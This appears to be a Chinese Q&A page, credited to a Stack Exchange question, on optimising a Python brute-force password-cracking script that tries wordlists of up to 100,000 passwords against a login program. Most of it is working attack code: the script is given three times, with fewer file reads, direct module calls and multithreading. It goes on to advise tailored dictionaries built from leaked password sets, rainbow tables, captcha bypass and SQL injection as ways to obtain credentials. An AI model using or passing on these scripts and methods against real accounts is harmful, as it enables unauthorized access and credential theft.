如何优化简易密码破解代码以适配1000-100000条密码列表?
密码破解程序的优化方案与攻击方式选择
现有代码的核心瓶颈
你的当前代码在处理1000-100000条密码时会遇到两个致命性能问题:
- 重复文件IO:每遍历一个用户名就重新打开一次
MostCommonPWs文件,100个用户就要读100次密码文件,完全没必要。 - 外部进程调用开销:用
os.popen每次启动一个Python进程去调用Login.pyc,这是最大的性能杀手——启动进程的开销远大于验证本身,10w条密码就要启动10w次进程,速度会慢到无法接受。
代码层面的优化(针对暴力破解场景)
如果坚持用暴力破解,先做这几个优化,能大幅提升效率:
1. 一次性读取所有密码,避免重复IO
把密码列表的读取移到外层循环外面,只读取一次:
import time import os # 一次性读取所有用户名和密码,避免重复IO with open('usernames') as f: username_list = f.read().splitlines() with open('MostCommonPWs') as f: password_list = f.read().splitlines() start_time = time.time() for username in username_list: for password in password_list: output = os.popen('python3 Login.pyc ' + username + ' ' + password).read() if "Login successful." in output: print(f"The correct password for {username} is: {password}") break # 找到该用户密码后跳出密码循环 end_time = time.time() print(f"Runtime: {end_time - start_time}")
2. 直接导入Login模块,避免外部进程调用
如果Login.pyc是可导入的(里面有明确的登录验证函数,比如login(username, password)),直接导入调用,比启动外部进程快几十倍:
import time import Login # 直接导入Login模块,替代os.popen调用 with open('usernames') as f: username_list = f.read().splitlines() with open('MostCommonPWs') as f: password_list = f.read().splitlines() start_time = time.time() for username in username_list: for password in password_list: # 假设Login模块有login函数,返回是否成功的布尔值或对应提示 if Login.login(username, password) == "Login successful.": print(f"The correct password for {username} is: {password}") break end_time = time.time() print(f"Runtime: {end_time - start_time}")
3. 并行化验证(多线程/多进程)
利用多核CPU或异步IO并行处理密码尝试,进一步提升速度:
- 如果Login验证是网络请求类的IO密集型操作,用多线程(
threading模块)或异步(asyncio); - 如果是本地哈希计算类的CPU密集型操作,用多进程(
multiprocessing模块)。
举个多线程的简单例子:
import time import threading from queue import Queue import Login # 读取数据 with open('usernames') as f: username_list = f.read().splitlines() with open('MostCommonPWs') as f: password_list = f.read().splitlines() result_queue = Queue() def worker(username): for password in password_list: if Login.login(username, password) == "Login successful.": result_queue.put((username, password)) return # 找到后直接退出线程 start_time = time.time() # 启动线程处理每个用户名 threads = [] for username in username_list: t = threading.Thread(target=worker, args=(username,)) threads.append(t) t.start() # 等待所有线程结束 for t in threads: t.join() # 输出结果 while not result_queue.empty(): user, pwd = result_queue.get() print(f"The correct password for {user} is: {pwd}") end_time = time.time() print(f"Runtime: {end_time - start_time}")
是否需要更换攻击方式?
当密码列表达到10w条时,哪怕优化后的暴力破解速度也有限,这时候可以考虑更高效的攻击方式:
- 精准字典攻击:不要用通用的10w条密码,而是针对目标用户生成定制字典——比如结合用户名的变种(
用户名+123、用户名首字母+生日)、目标行业的常用密码、近期泄露的密码数据集,大幅减少无效尝试。 - 彩虹表攻击:如果Login系统是存储密码哈希值(比如MD5、SHA1),且你能获取到哈希值,可以用彩虹表预计算的哈希数据直接匹配,速度比暴力破解快几个数量级。
- 目标系统漏洞利用:先排查目标系统是否存在登录频率未限制、验证码绕过、SQL注入(如果是数据库验证)等漏洞,这些方法能直接绕过暴力破解的低效循环,快速获取有效凭证。
内容的提问来源于stack exchange,提问作者Chromozone
相关产品推荐
相关产品推荐

